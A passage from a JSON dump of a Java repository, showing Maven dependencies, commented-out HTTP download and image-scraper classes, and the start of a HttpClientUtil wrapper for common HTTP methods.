<groupId>org.apache.httpcomponents</groupId> <artifactId>httpasyncclient</artifactId> \n\t\t\t<version>4.1</version> </dependency> -->\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>1.2.17</version>\n\t\t</dependency>\n\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.httpcomponents</groupId>\n\t\t\t<artifactId>httpclient</artifactId>\n\t\t\t<version>4.5.2</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.httpcomponents</groupId>\n\t\t\t<artifactId>httpmime</artifactId>\n\t\t\t<version>4.5</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>commons-io</groupId>\n\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t<version>2.6</version>\n\t\t</dependency>\n\n\t\t<!-- Jsoup → see jun_jsoup module -->\n\t\t<!--\n\t\t<dependency>\n\t\t\t<groupId>org.jsoup</groupId>\n\t\t\t<artifactId>jsoup</artifactId>\n\t\t\t<version>1.13.1</version>\n\t\t</dependency>\n\t\t-->\n\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t\t<!-- OkHttp → see jun_okhttp module -->\n\t\t<!--\n\t\t<dependency>\n\t\t\t<groupId>com.squareup.okhttp3</groupId>\n\t\t\t<artifactId>okhttp</artifactId>\n\t\t\t<version>4.5.0</version>\n\t\t</dependency>\n\t\t-->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.7.30</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>1.7.30</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-lang</groupId>\n\t\t\t<artifactId>commons-lang</artifactId>\n\t\t\t<version>2.6</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>net.sf.json-lib</groupId>\n\t\t\t<artifactId>json-lib</artifactId>\n\t\t\t<version>2.4</version>\n\t\t\t<classifier>jdk15</classifier>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>xerces</groupId>\n\t\t\t<artifactId>xercesImpl</artifactId>\n\t\t\t<version>2.12.0</version>\n\t\t</dependency>\n\t</dependencies>\n\t<build>\n\t\t<finalName>jun_httpclient</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/base/HttpDownload.java",
    "content": "// This file is commented out — file download utility using deprecated DefaultHttpClient.\n// See jun_httpclient base package for maintained HTTP download functionality.\n/*\npackage com.jun.plugin.httpclient.base;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.InputStream;\n\nimport org.apache.http.Header;\nimport org.apache.http.HeaderElement;\nimport org.apache.http.HttpEntity;\nimport org.apache.http.HttpResponse;\nimport org.apache.http.NameValuePair;\nimport org.apache.http.client.HttpClient;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.impl.client.DefaultHttpClient;\n\npublic class HttpDownload {\n\n\tpublic static final int cache = 10 * 1024;\n\tpublic static final boolean isWindows;\n\tpublic static final String splash;\n\tpublic static final String root;\n\tstatic {\n\t\tif (System.getProperty(\"os.name\") != null && System.getProperty(\"os.name\").toLowerCase().contains(\"windows\")) {\n\t\t\tisWindows = true;\n\t\t\tsplash = \"\\\\\";\n\t\t\troot = \"D:\";\n\t\t} else {\n\t\t\tisWindows = false;\n\t\t\tsplash = \"/\";\n\t\t\troot = \"/search\";\n\t\t}\n\t}\n\n\tpublic static String download(String url) {\n\t\treturn download(url, null);\n\t}\n\n\tpublic static String download(String url, String filepath) {\n\t\ttry {\n\t\t\tHttpClient client = new DefaultHttpClient();\n\t\t\tHttpGet httpget = new HttpGet(url);\n\t\t\tHttpResponse response = client.execute(httpget);\n\t\t\tHttpEntity entity = response.getEntity();\n\t\t\tInputStream is = entity.getContent();\n\t\t\tif (filepath == null)\n\t\t\t\tfilepath = getFilePath(response);\n\t\t\tFile file = new File(filepath);\n\t\t\tfile.getParentFile().mkdirs();\n\t\t\tFileOutputStream fileout = new FileOutputStream(file);\n\t\t\tbyte[] buffer = new byte[cache];\n\t\t\tint ch = 0;\n\t\t\twhile ((ch = is.read(buffer)) != -1) {\n\t\t\t\tfileout.write(buffer, 0, ch);\n\t\t\t}\n\t\t\tis.close();\n\t\t\tfileout.flush();\n\t\t\tfileout.close();\n\t\t\tif (file.length() < 255) {\n\t\t\t\tfile.delete();\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic static String getFilePath(HttpResponse response) {\n\t\tString filepath = root + splash;\n\t\tString filename = getFileName(response);\n\t\tif (filename != null) {\n\t\t\tfilepath += filename;\n\t\t} else {\n\t\t\tfilepath += getRandomFileName();\n\t\t}\n\t\treturn filepath;\n\t}\n\n\tpublic static String getFileName(HttpResponse response) {\n\t\tHeader contentHeader = response.getFirstHeader(\"Content-Disposition\");\n\t\tString filename = null;\n\t\tif (contentHeader != null) {\n\t\t\tHeaderElement[] values = contentHeader.getElements();\n\t\t\tif (values.length == 1) {\n\t\t\t\tNameValuePair param = values[0].getParameterByName(\"filename\");\n\t\t\t\tif (param != null) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tfilename = param.getValue();\n\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn filename;\n\t}\n\n\tpublic static String getRandomFileName() {\n\t\treturn String.valueOf(System.currentTimeMillis());\n\t}\n\n\tpublic static void outHeaders(HttpResponse response) {\n\t\tHeader[] headers = response.getAllHeaders();\n\t\tfor (int i = 0; i < headers.length; i++) {\n\t\t\tSystem.out.println(headers[i]);\n\t\t}\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/base/JsoupHttp.java",
    "content": "// This file is commented out — uses Jsoup which is now removed.\n// See jun_jsoup module for Jsoup-based HTTP functionality.\n/*\npackage com.jun.plugin.httpclient.base;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.net.HttpURLConnection;\nimport java.nio.charset.Charset;\nimport java.nio.charset.IllegalCharsetNameException;\nimport java.util.Locale;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\nimport java.util.zip.GZIPInputStream;\n\nimport org.apache.commons.io.IOUtils;\nimport org.jsoup.Connection;\nimport org.jsoup.Connection.Request;\nimport org.jsoup.Jsoup;\nimport org.jsoup.helper.HttpConnection.Response;\n\npublic class JsoupHttp {\n\n\tprivate static final Pattern charsetPattern = Pattern.compile(\"(?i)\\\\bcharset=\\\\s*(?:\\\"|')?([^\\\\s,;\\\"']*)\");\n\n\tpublic static String get(String url) throws  IOException{\n\t\tjava.lang.System.setProperty(\"https.protocols\", \"SSLv3,TLSv1,TLSv1.1,TLSv1.2\");\n\t\tRequest request=Jsoup.connect(url).timeout(100 * 1000).request();\n\t\treturn execute(request);\n\t}\n\n\tpublic static String execute(Connection.Request request) throws IOException{\n        Method method = null;\n\t\ttry {\n\t\t\tmethod = Response.class.getDeclaredMethod(\"createConnection\",Connection.Request.class);\n\t        method.setAccessible(true);\n\t        HttpURLConnection connection=(HttpURLConnection) method.invoke(Response.class, request);\n\t        if(connection.getResponseCode() != HttpURLConnection.HTTP_OK){\n\t        \treturn null;\n\t        }\n\t        String result=getReponseBody(connection);\n\t        connection.disconnect();\n\t        return result;\n\t\t} catch (NoSuchMethodException | SecurityException | IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\tprivate static String getReponseBody(HttpURLConnection connection) throws IOException{\n\t\tInputStream inputStream=null;\n\t\t if(\"gzip\".equals(connection.getHeaderField(\"Content-Encoding\"))){\n\t\t\t inputStream=new GZIPInputStream(connection.getInputStream());\n\t\t }else{\n\t\t\t inputStream=connection.getInputStream();\n\t\t }\n\t\t String charset=getCharsetFromContentType(connection.getContentType());\n\t\t return IOUtils.toString(inputStream,charset);\n\t}\n\n\tprivate static String getCharsetFromContentType(String contentType){\n\t      if (contentType == null) return null;\n\t        Matcher m = charsetPattern.matcher(contentType);\n\t        if (m.find()) {\n\t            String charset = m.group(1).trim();\n\t            charset = charset.replace(\"charset=\", \"\");\n\t            return validateCharset(charset);\n\t        }\n\t        return null;\n\t}\n\n    private static  String validateCharset(String cs) {\n        if (cs == null || cs.length() == 0) return null;\n        cs = cs.trim().replaceAll(\"[\\\"']\", \"\");\n        try {\n            if (Charset.isSupported(cs)) return cs;\n            cs = cs.toUpperCase(Locale.ENGLISH);\n            if (Charset.isSupported(cs)) return cs;\n        } catch (IllegalCharsetNameException e) {\n        }\n        return null;\n    }\n\n    public static void main(String[] args) throws IOException {\n    \tString reposApi = \"https://api.github.com/orgs/aeternity/repos\";\n    \tSystem.out.println(JsoupHttp.get(reposApi));\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/base/imagedown2/JianDanHtmlParser.java",
    "content": "// This file is commented out — part of image spider, dependent on SimpleSpider.\n// See jun_crawler or jun_jsoup for web scraping functionality.\n/*\npackage com.jun.plugin.httpclient.base.imagedown2;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class JianDanHtmlParser implements Runnable {\n\tprivate String html;\n\tprivate int page;\n\tpublic JianDanHtmlParser(String html,int page) {\n\t\tthis.html = html;\n\t\tthis.page = page;\n\t}\n\t@Override\n\tpublic void run() {\n\t\tList<String> list = new ArrayList<String>();\n\t\thtml = html.substring(html.indexOf(\"commentlist\"));\n\t\tString[] images = html.split(\"li>\");\n\t\tfor (String image : images) {\n\t\t\tString[] ss = image.split(\"br\");\n\t\t\tfor (String s : ss) {\n\t\t\t\tif (s.indexOf(\"<img src=\") > 0) {\n\t\t\t\t\ttry{\n\t\t\t\t\t\tint i = s.indexOf(\"<img src=\\\"\") + \"<img src=\\\"\".length();\n\t\t\t\t\t\tlist.add(s.substring(i, s.indexOf(\"\\\"\", i + 1)));\n\t\t\t\t\t}catch (Exception e) {\n\t\t\t\t\t\tSystem.out.println(s);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor(String imageUrl : list){\n\t\t\tif(imageUrl.indexOf(\"sina\")>0){\n\t\t\t\tnew Thread(new JianDanImageCreator(imageUrl,page)).start();\n\t\t\t}\n\t\t}\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/base/imagedown2/JianDanImageCreator.java",
    "content": "// This file is commented out — part of image spider, dependent on SimpleSpider.\n// See jun_crawler or jun_jsoup for web scraping functionality.\n/*\npackage com.jun.plugin.httpclient.base.imagedown2;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.URL;\n\npublic class JianDanImageCreator implements Runnable {\n\tprivate static int count = 0;\n\tprivate String imageUrl;\n\tprivate int page;\n\tprivate static final String basePath = \"E:/pic12\";\n\tpublic JianDanImageCreator(String imageUrl,int page) {\n\t\tthis.imageUrl = imageUrl;\n\t\tthis.page = page;\n\t}\n\t@Override\n\tpublic void run() {\n\t\tFile dir = new File(basePath);\n\t\tif(!dir.exists()){\n\t\t\tdir.mkdirs();\n\t\t}\n\t\tString imageName = imageUrl.substring(imageUrl.lastIndexOf(\"/\")+1);\n\t\ttry {\n\t\t\tFile file = new File( basePath+\"/\"+page+\"--\"+imageName);\n\t\t\tOutputStream os = new FileOutputStream(file);\n\t\t\tURL url = new URL(\"http:\"+imageUrl);\n\t\t\tInputStream is = url.openStream();\n\t\t\tbyte[] buff = new byte[1024];\n\t\t\twhile(true) {\n\t\t\t\tint readed = is.read(buff);\n\t\t\t\tif(readed == -1) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbyte[] temp = new byte[readed];\n\t\t\t\tSystem.arraycopy(buff, 0, temp, 0, readed);\n\t\t\t\tos.write(temp);\n\t\t\t}\n\t\t\tis.close();\n\t\t\tos.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/base/imagedown2/SimpleSpider.java",
    "content": "// This file is commented out — spider/scraper using HttpClient + Jsoup, now removed.\n// See jun_jsoup or jun_crawler for web scraping functionality.\n/*\npackage com.jun.plugin.httpclient.base.imagedown2;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\n\nimport org.apache.http.client.config.CookieSpecs;\nimport org.apache.http.client.config.RequestConfig;\nimport org.apache.http.client.methods.CloseableHttpResponse;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.impl.client.CloseableHttpClient;\nimport org.apache.http.impl.client.HttpClients;\n\npublic class SimpleSpider {\n\tprivate static final int page = 567364;\n\n\tpublic static void main(String[] args) {\n\t\tRequestConfig globalConfig = RequestConfig.custom().setCookieSpec(CookieSpecs.STANDARD)\n\t\t\t\t.setConnectionRequestTimeout(6000).setConnectTimeout(6000).build();\n\t\tCloseableHttpClient httpClient = HttpClients.custom().setDefaultRequestConfig(globalConfig).build();\n\t\tfor (int i = page; i > 0; i--) {\n\t\t\tHttpGet httpGet = new HttpGet(\"http://1024.91lulea.today/pw/htm_data/14/1703/\"+ i+\".html\" );\n\t\t\thttpGet.addHeader(\"User-Agent\",\n\t\t\t\t\t\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36\");\n\t\t\thttpGet.addHeader(\"Cookie\",\n\t\t\t\t\t\"_gat=1; nsfw-click-load=off; gif-click-load=on; _ga=GA1.2.1861846600.1423061484\");\n\t\t\ttry {\n\t\t\t\tThread.sleep(3000);\n\t\t\t\tCloseableHttpResponse response = httpClient.execute(httpGet);\n\t\t\t\tInputStream in = response.getEntity().getContent();\n\t\t\t\tString html = convertStreamToString(in);\n\t\t\t\tnew Thread(new JianDanHtmlParser(html, i)).start();\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static String convertStreamToString(InputStream is) {\n\t\tBufferedReader reader = new BufferedReader(new InputStreamReader(is));\n\t\tStringBuilder sb = new StringBuilder();\n\t\tString line = null;\n\t\ttry {\n\t\t\twhile ((line = reader.readLine()) != null) {\n\t\t\t\tsb.append(line + \"/n\");\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tis.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t\treturn sb.toString();\n\t}\n\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/HttpClientUtil.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil;\n\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.http.Header;\nimport org.apache.http.HttpEntity;\nimport org.apache.http.HttpResponse;\nimport org.apache.http.NameValuePair;\nimport org.apache.http.client.HttpClient;\nimport org.apache.http.client.methods.CloseableHttpResponse;\nimport org.apache.http.client.methods.HttpDelete;\nimport org.apache.http.client.methods.HttpEntityEnclosingRequestBase;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.client.methods.HttpHead;\nimport org.apache.http.client.methods.HttpOptions;\nimport org.apache.http.client.methods.HttpPatch;\nimport org.apache.http.client.methods.HttpPost;\nimport org.apache.http.client.methods.HttpPut;\nimport org.apache.http.client.methods.HttpRequestBase;\nimport org.apache.http.client.methods.HttpTrace;\nimport org.apache.http.protocol.HttpContext;\nimport org.apache.http.util.EntityUtils;\n\nimport com.jun.plugin.httpclient.httpclientutil.builder.HCB;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpConfig;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpMethods;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpResult;\nimport com.jun.plugin.httpclient.httpclientutil.common.Utils;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/**\n * 使用HttpClient模拟发送（http/https）请求\n * \n * @author arron\n * @version 1.0\n */\npublic class HttpClientUtil{\n\t\n\t//默认采用的http协议的HttpClient对象\n\tprivate static  HttpClient client4HTTP;\n\t\n\t//默认采用的https协议的HttpClient对象\n\tprivate static HttpClient client4HTTPS;\n\t\n\tstatic{\n\t\ttry {\n\t\t\tclient4HTTP = HCB.custom().build();\n\t\t\tclient4HTTPS = HCB.custom().ssl().build();\n\t\t} catch (HttpProcessException e) {\n\t\t\tUtils.errorException(\"创建https协议的HttpClient对象出错：{}\", e);\n\t\t}\n\t}\n\t\n\t/**\n\t * 判定是否开启连接池、及url是http还是https <br>\n\t * \t\t如果已开启连接池，则自动调用build方法，从连接池中获取client对象<br>\n\t * \t\t否则，直接返回相应的默认client对象<br>\n\t * \n\t * @param config\t\t请求参数配置\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tprivate static void create(HttpConfig config) throws HttpProcessException  {\n\t\tif(config.client()==null){//如果为空，设为默认client对象\n\t\t\tif(config.url().toLowerCase().startsWith(\"https://\")){\n\t\t\t\tconfig.client(client4HTTPS);\n\t\t\t}else{\n\t\t\t\tconfig.client(client4HTTP);\n\t\t\t}\n\t\t}\n\t}\n\t\n\t//-----------华----丽----分----割----线--------------\n\t//-----------华----丽----分----割----线--------------\n\t//-----------华----丽----分----割----线--------------\n\t\n\t/**\n\t * 以Get方式，请求资源或服务\n\t * \n\t * @param client\t\t\t\tclient对象\n\t * @param url\t\t\t\t\t资源地址\n\t * @param headers\t\t\t请求头信息\n\t * @param context\t\t\thttp上下文，用于cookie操作\n\t * @param encoding\t\t编码\n\t * @return\t\t\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static String get(HttpClient client, String url, Header[] headers, HttpContext context, String encoding) throws HttpProcessException {\n\t\treturn get(HttpConfig.custom().client(client).url(url).headers(headers).context(context).encoding(encoding));\n\t}\n\t/**\n\t * 以Get方式，请求资源或服务\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t返回结果\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic static String get(HttpConfig config) throws HttpProcessException {\n\t\treturn send(config.method(HttpMethods.GET));\n\t}\n\t\n\t/**\n\t * 以Post方式，请求资源或服务\n\t * \n\t * @param client\t\tclient对象\n\t * @param url\t\t\t资源地址\n\t * @param headers\t\t请求头信息\n\t * @param parasMap\t\t请求参数\n\t * @param context\t\thttp上下文，用于cookie操作\n\t * @param encoding\t\t编码\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static String post(HttpClient client, String url, Header[] headers, Map<String,Object>parasMap, HttpContext context, String encoding) throws HttpProcessException {\n\t\treturn post(HttpConfig.custom().client(client).url(url).headers(headers).map(parasMap).context(context).encoding(encoding));\n\t}\n\t/**\n\t * 以Post方式，请求资源或服务\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic static String post(HttpConfig config) throws HttpProcessException {\n\t\treturn send(config.method(HttpMethods.POST));\n\t}\n\t\n\t/**\n\t * 以Put方式，请求资源或服务\n\t * \n\t * @param client\t\tclient对象\n\t * @param url\t\t\t资源地址\n\t * @param parasMap\t\t请求参数\n\t * @param headers\t\t请求头信息\n\t * @param context\t\thttp上下文，用于cookie操作\n\t * @param encoding\t\t编码\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static String put(HttpClient client, String url, Map<String,Object>parasMap,Header[] headers, HttpContext context,String encoding) throws HttpProcessException {\n\t\treturn put(HttpConfig.custom().client(client).url(url).headers(headers).map(parasMap).context(context).encoding(encoding));\n\t}\n\t/**\n\t * 以Put方式，请求资源或服务\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic static String put(HttpConfig config) throws HttpProcessException {\n\t\treturn send(config.method(HttpMethods.PUT));\n\t}\n\t\n\t/**\n\t * 以Delete方式，请求资源或服务\n\t * \n\t * @param client\t\tclient对象\n\t * @param url\t\t\t资源地址\n\t * @param headers\t\t请求头信息\n\t * @param context\t\thttp上下文，用于cookie操作\n\t * @param encoding\t\t编码\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static String delete(HttpClient client, String url, Header[] headers, HttpContext context,String encoding) throws HttpProcessException {\n\t\treturn delete(HttpConfig.custom().client(client).url(url).headers(headers).context(context).encoding(encoding));\n\t}\n\t/**\n\t * 以Delete方式，请求资源或服务\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic static String delete(HttpConfig config) throws HttpProcessException {\n\t\treturn send(config.method(HttpMethods.DELETE));\n\t}\n\t\n\t/**\n\t * 以Patch方式，请求资源或服务\n\t * \n\t * @param client\t\tclient对象\n\t * @param url\t\t\t资源地址\n\t * @param parasMap\t\t请求参数\n\t * @param headers\t\t请求头信息\n\t * @param context\t\thttp上下文，用于cookie操作\n\t * @param encoding\t\t编码\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static String patch(HttpClient client, String url, Map<String,Object>parasMap, Header[] headers, HttpContext context,String encoding) throws HttpProcessException {\n\t\treturn patch(HttpConfig.custom().client(client).url(url).headers(headers).map(parasMap).context(context).encoding(encoding));\n\t}\n\t/**\n\t * 以Patch方式，请求资源或服务\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic static String patch(HttpConfig config) throws HttpProcessException {\n\t\treturn send(config.method(HttpMethods.PATCH));\n\t}\n\t\n\t/**\n\t * 以Head方式，请求资源或服务\n\t * \n\t * @param client\t\tclient对象\n\t * @param url\t\t\t资源地址\n\t * @param headers\t\t请求头信息\n\t * @param context\t\thttp上下文，用于cookie操作\n\t * @param encoding\t\t编码\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static String head(HttpClient client, String url, Header[] headers, HttpContext context,String encoding) throws HttpProcessException {\n\t\treturn head(HttpConfig.custom().client(client).url(url).headers(headers).context(context).encoding(encoding));\n\t}\n\t/**\n\t * 以Head方式，请求资源或服务\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic static String head(HttpConfig config) throws HttpProcessException {\n\t\treturn send(config.method(HttpMethods.HEAD));\n\t}\n\t\n\t/**\n\t * 以Options方式，请求资源或服务\n\t * \n\t * @param client\t\tclient对象\n\t * @param url\t\t\t资源地址\n\t * @param headers\t\t请求头信息\n\t * @param context\t\thttp上下文，用于cookie操作\n\t * @param encoding\t\t编码\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static String options(HttpClient client, String url, Header[] headers, HttpContext context,String encoding) throws HttpProcessException {\n\t\treturn options(HttpConfig.custom().client(client).url(url).headers(headers).context(context).encoding(encoding));\n\t}\n\t/**\n\t * 以Options方式，请求资源或服务\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic static String options(HttpConfig config) throws HttpProcessException {\n\t\treturn send(config.method(HttpMethods.OPTIONS));\n\t}\n\t\n\t/**\n\t * 以Trace方式，请求资源或服务\n\t * \n\t * @param client\t\tclient对象\n\t * @param url\t\t\t资源地址\n\t * @param headers\t\t请求头信息\n\t * @param context\t\thttp上下文，用于cookie操作\n\t * @param encoding\t\t编码\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static String trace(HttpClient client, String url, Header[] headers, HttpContext context, String encoding) throws HttpProcessException {\n\t\treturn trace(HttpConfig.custom().client(client).url(url).headers(headers).context(context).encoding(encoding));\n\t}\n\t/**\n\t * 以Trace方式，请求资源或服务\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic static String trace(HttpConfig config) throws HttpProcessException {\n\t\treturn send(config.method(HttpMethods.TRACE));\n\t}\n\t\n\t/**\n\t * 下载文件\n\t * \n\t * @param client\t\tclient对象\n\t * @param url\t\t\t资源地址\n\t * @param headers\t\t请求头信息\n\t * @param context\t\thttp上下文，用于cookie操作\n\t * @param out\t\t\t输出流\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static OutputStream down(HttpClient client, String url, Header[] headers, HttpContext context, OutputStream out) throws HttpProcessException {\n\t\treturn down(HttpConfig.custom().client(client).url(url).headers(headers).context(context).out(out));\n\t}\n\t\n\t/**\n\t * 下载文件\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static OutputStream down(HttpConfig config) throws HttpProcessException {\n\t\tif(config.method() == null) {\n\t\t\tconfig.method(HttpMethods.GET);\n\t\t}\n\t\treturn fmt2Stream(execute(config), config.out());\n\t}\n\t\n\t/**\n\t * 上传文件\n\t * \n\t * @param client\t\tclient对象\n\t * @param url\t\t\t资源地址\n\t * @param headers\t\t请求头信息\n\t * @param context\t\thttp上下文，用于cookie操作\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static String upload(HttpClient client, String url, Header[] headers, HttpContext context) throws HttpProcessException {\n\t\treturn upload(HttpConfig.custom().client(client).url(url).headers(headers).context(context));\n\t}\n\t\n\t/**\n\t * 上传文件\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static String upload(HttpConfig config) throws HttpProcessException {\n\t\tif(config.method() != HttpMethods.POST  && config.method() != HttpMethods.PUT){\n\t\t\tconfig.method(HttpMethods.POST);\n\t\t}\n\t\treturn send(config);\n\t}\n\t\n\t/**\n\t * 查看资源链接情况，返回状态码\n\t * \n\t * @param client\t\tclient对象\n\t * @param url\t\t\t资源地址\n\t * @param headers\t\t请求头信息\n\t * @param context\t\thttp上下文，用于cookie操作\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static int status(HttpClient client, String url, Header[] headers, HttpContext context, HttpMethods method) throws HttpProcessException {\n\t\treturn status(HttpConfig.custom().client(client).url(url).headers(headers).context(context).method(method));\n\t}\n\t\n\t/**\n\t * 查看资源链接情况，返回状态码\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static int status(HttpConfig config) throws HttpProcessException {\n\t\treturn fmt2Int(execute(config));\n\t}\n\n\t//-----------华----丽----分----割----线--------------\n\t//-----------华----丽----分----割----线--------------\n\t//-----------华----丽----分----割----线--------------\n\t\n\t/**\n\t * 请求资源或服务\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic static String send(HttpConfig config) throws HttpProcessException {\n\t\treturn fmt2String(execute(config), config.outenc());\n\t}\n\t\n\t/**\n\t * 请求资源或服务，返回HttpResult对象\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回HttpResult处理结果\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic static HttpResult sendAndGetResp(HttpConfig config) throws HttpProcessException {\n\t\tHeader[] reqHeaders = config.headers();\n\t\t//执行结果\n\t\tHttpResponse resp =  execute(config);\n\t\t\n\t\tHttpResult result = new HttpResult(resp);\n\t\tresult.setResult(fmt2String(resp, config.outenc()));\n\t\tresult.setReqHeaders(reqHeaders);\n\t\t\n\t\treturn result;\n\t}\n\t\n\t/**\n\t * 请求资源或服务\n\t * \n\t * @param config\t\t请求参数配置\n\t * @return\t\t\t\t返回HttpResponse对象\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tprivate static HttpResponse execute(HttpConfig config) throws HttpProcessException 